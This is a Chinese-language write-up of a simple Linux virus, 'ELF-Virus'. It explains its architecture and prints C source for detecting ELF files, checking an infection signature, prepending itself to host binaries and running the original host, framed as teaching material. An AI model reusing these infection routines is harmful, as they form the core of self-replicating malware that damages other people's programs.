ELF-Virus简易病毒程序分析

系统功能概述

ELF-Virus实现了一个简单的病毒程序，能够感染当前目录下的ELF格式的可执行文件。病毒程序通过将自身代码附加到目标文件中，并在文件末尾添加一个特定的签名来标记文件已被感染。感染后的文件在执行时，会先执行病毒代码，然后再执行原始的程序代码。

系统架构

病毒程序：

病毒程序本身是一个ELF格式的可执行文件，它通过检查当前目录下的其他ELF文件，选择未被感染的文件进行感染。

感染机制：

病毒程序通过将自身代码附加到目标文件的末尾，并在文件末尾添加一个特定的签名（SIGNATURE）来标记文件已被感染。

执行机制：

感染后的文件在执行时，会先执行病毒代码，然后再执行原始的程序代码。

主要核心技术点

ELF文件识别：

病毒程序通过读取文件的前4个字节来判断文件是否为ELF格式。ELF文件的前4个字节为0x7f, 'E', 'L', 'F'。

  bool isELF(char* fileName) {
      if(fileName[0] == '.') return false;
      int hfd = open(fileName, O_RDONLY);
      char header[4];
      read(hfd, header, 4);
      close(hfd);
      return header[0] == 0x7f
          && header[1] == 'E'
          && header[2] == 'L'
          && header[3] == 'F';
  }

感染检测：

病毒程序通过检查文件末尾的签名来判断文件是否已被感染。

   bool isClean(char* fileName) {
       int signature;
       int fd = open(fileName, O_RDONLY);
       lseek(fd, -1 * sizeof(signature), SEEK_END);
       read(fd, &signature, sizeof(signature));
       close(fd);
       return signature != SIGNATURE;
   }

文件感染：

病毒程序通过创建一个临时文件，将病毒代码、原始文件内容和签名依次写入临时文件，然后将临时文件重命名为原始文件名，完成感染过程。

   void infectHostFile(char* hostFileName, int vfd) {
       int hfd = open(hostFileName, O_RDONLY);
       struct stat st;
       fstat(hfd, &st);
       int hostSize = st.st_size;
       int signature = SIGNATURE;
       int tfd = creat(TEMP_FILENAME, st.st_mode);
       sendfile(tfd, vfd, NULL, SIZE);
       sendfile(tfd, hfd, NULL, hostSize);
       write(tfd, &signature, sizeof(signature));
       rename(TEMP_FILENAME, hostFileName);
       close(tfd);
       close(hfd);
   }

执行原始程序：

感染后的文件在执行时，会先执行病毒代码，然后再执行原始的程序代码。

void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
       int tfd = creat(TEMP_FILENAME, mode);
       lseek(vfd, SIZE, SEEK_SET);
       int signatureSize = sizeof(SIGNATURE);
       int hostSize = totalSize - SIZE - signatureSize;
       sendfile(tfd, vfd, NULL, hostSize);
       close(tfd);
       pid_t pid = fork();
       if(pid == 0) {
           execv(TEMP_FILENAME, argv);
       }
       else{
           waitpid(pid, NULL, 0);
           unlink(TEMP_FILENAME);
       }
   }

应用场景

ELF-Virus主要用于研究和理解病毒程序的基本工作原理，以及如何通过代码实现文件的感染和执行。它可以用于教学目的，帮助学习者理解恶意软件的基本工作机制。

系统总结

ELF-Virus程序通过简单的文件操作和ELF文件格式的识别，实现了对目标文件的感染。感染后的文件在执行时会先执行病毒代码，然后再执行原始的程序代码。该程序展示了病毒程序的基本工作原理，具有一定的教育意义，但同时也提醒我们注意计算机安全，防止恶意软件的传播和感染。

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